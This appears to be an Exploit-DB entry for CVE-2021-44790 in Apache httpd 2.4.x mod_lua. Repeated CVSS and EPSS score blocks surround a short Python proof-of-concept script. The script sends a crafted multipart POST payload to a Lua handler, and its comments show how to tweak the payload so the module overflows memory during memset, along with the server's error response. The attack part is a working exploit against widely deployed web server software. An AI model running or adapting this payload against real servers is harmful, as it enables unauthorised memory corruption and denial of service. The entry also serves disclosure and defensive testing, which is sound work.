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exploitdbSunil IyengarEDB-ID:51193
HistoryApr 01, 2023 - 12:00 a.m.

Apache 2.4.x - Buffer Overflow

2023-04-0100:00:00
Sunil Iyengar
www.exploit-db.com
10477

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.9 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.088 Low

EPSS

Percentile

94.5%

# Exploit Title: Apache 2.4.x - Buffer Overflow
# Date: Jan 2 2023
# Exploit Author: Sunil Iyengar
# Vendor Homepage: https://httpd.apache.org/
# Software Link: https://archive.apache.org/dist/httpd/
# Version: Any version less than 2.4.51. Tested on 2.4.50 and 2.4.51
# Tested on: (Server) Kali, (Client) MacOS Monterey
# CVE : CVE-2021-44790


import requests

#Example "http(s)://<hostname>/process.lua"
url = "http(s)://<hostname>/<luafile>"

payload = "4\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\n0\r\n4\r\n"
headers = {
  'Content-Type': 'multipart/form-data; boundary=4'
}

#Note1: The value for boundary=4, in the above example, is arbitrary. It can be anything else like 1.
# But this has to match with the values in Payload.

#Note2: The form data as shown above returns the response as "memory allocation error: block too big".
# But one can change the payload to name=\"name\"\r\n\r\n\r\n4\r\n" and not get the error but on the lua module overflows
# 3 more bytes during memset

response = requests.request("POST", url, headers=headers, data=payload)

print(response.text)

#Response returned is
#<h3>Error!</h3>
#<pre>memory allocation error: block too big</pre>

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.9 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.088 Low

EPSS

Percentile

94.5%